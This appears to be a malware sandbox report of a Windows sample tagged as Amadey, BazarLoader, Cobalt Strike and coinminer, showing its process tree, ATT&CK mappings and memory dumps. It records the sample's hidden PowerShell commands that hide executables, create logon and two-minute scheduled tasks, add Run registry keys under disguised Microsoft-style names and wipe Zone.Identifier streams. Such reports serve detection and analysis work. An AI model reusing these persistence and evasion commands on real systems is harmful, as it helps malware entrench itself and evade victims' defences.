C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn certutil_hostSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "certutil_hostSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn certutil_hostSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\InputPersonalization\certutil_host.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'attrib +h +s "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "attrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe 2>nul"3⤵
- Hide Artifacts: Hidden Files and Directories
-
C:\Windows\system32\attrib.exeattrib +h +s C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe4⤵
- Views/modifies file attributes
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc ONLOGON /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn InputSwitchSvc /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc ONLOGON /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'schtasks /create /tn "InputSwitchSvc_timer" /tr ""C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe"" /sc MINUTE /mo 2 /rl LIMITED /f 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "schtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /tn InputSwitchSvc_timer /tr "C:\Users\Admin\AppData\Local\Microsoft\PlayReady\InputSwitch.exe /sc MINUTE /mo 2 /rl LIMITED /f 2>nul4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeAutoUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe" /f'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeAutoUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "MsEdgeUpdate" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe" /f'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v MsEdgeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsMediaCfg" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe" /f'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsMediaCfg /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchFilterHost" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchFilterHost /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WindowsUpdateAgent" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WindowsUpdateAgent /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "RuntimeBroker" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v RuntimeBroker /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SecurityHealthSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe" /f'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SecurityHealthSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "SearchProtocol" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v SearchProtocol /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "OneDriveUpdater" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe" /f'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v OneDriveUpdater /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "WLANAutoConfig" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v WLANAutoConfig /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "CryptoCertSvc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe" /f'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f"3⤵
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run /v CryptoCertSvc /t REG_SZ /d C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe /f4⤵
- Modifies registry key
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Temp\2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier" 2>nul'"2⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\EdgeUpdate\MsEdgeAutoUpdate.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Windows\WindowsUpdate\wuauclt.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchFilter\SearchFilterHost.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\MediaPlayer\Config\WindowsMediaCfg.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\RuntimeBroker\Service\RuntimeBroker.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SecurityHealth\Service\SecurityHealthSvc.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\OneDrive\Update\OneDriveUpdater.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\SearchProtocol\Host\SearchProtocol.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\WLAN\AutoConfig\WLANAutoConfig.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\Crypto\CertificateSvc\CryptoCertSvc.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "cmd /c 'echo > "C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier" 2>nul'"2⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo > C:\Users\Admin\AppData\Local\Microsoft\COM\Surrogate\COMSurrogate32.exe:Zone.Identifier 2>nul"3⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoP -NonInteractive -W Hidden -Command [System.Environment]::OSVersion.Version.ToString()2⤵
-
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Active Setup
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Hide Artifacts
2Hidden Files and Directories
2Modify Registry
3Subvert Trust Controls
1SIP and Trust Provider Hijacking
1Virtualization/Sandbox Evasion
4Replay Monitor
Loading Replay Monitor...
Downloads
SearchFilterHost.exe:Zone.Identifier
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
wuauclt.log
wuauclt.log
wuauclt.log
wuauclt.log
wuauclt.log
prep_Activatable Class_Hermes_perf.cache
prep_Activatable Class_Hermes_perf.cache
2026-07-06_a104b190b8f8bf41717c5014f61ee2ef_amadey_bazarloader_cobalt-strike_coinminer_glassworm_ice.exe
__PSScriptPolicyTest_sbhb0f3y.qgw.ps1
memory/3320-15-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/3320-10-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/3320-16-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/3320-13-0x0000023EEE8D0000-0x0000023EEE8F2000-memory.dmp
memory/3320-14-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/3320-8-0x00007FFF42EBF000-0x00007FFF42EC0000-memory.dmp
memory/3320-9-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/3320-19-0x00007FFF42D30000-0x00007FFF436D4000-memory.dmp
memory/4788-103-0x0000023605000000-0x0000023605100000-memory.dmp
memory/4788-79-0x00000236001E0000-0x00000236002E0000-memory.dmp
memory/4788-126-0x00000236052E0000-0x0000023605300000-memory.dmp
memory/4788-112-0x0000023603CA0000-0x0000023603CC0000-memory.dmp
memory/4788-80-0x00000236001E0000-0x00000236002E0000-memory.dmp
memory/4788-78-0x00000236001E0000-0x00000236002E0000-memory.dmp
memory/4788-102-0x0000023603A40000-0x0000023603A60000-memory.dmp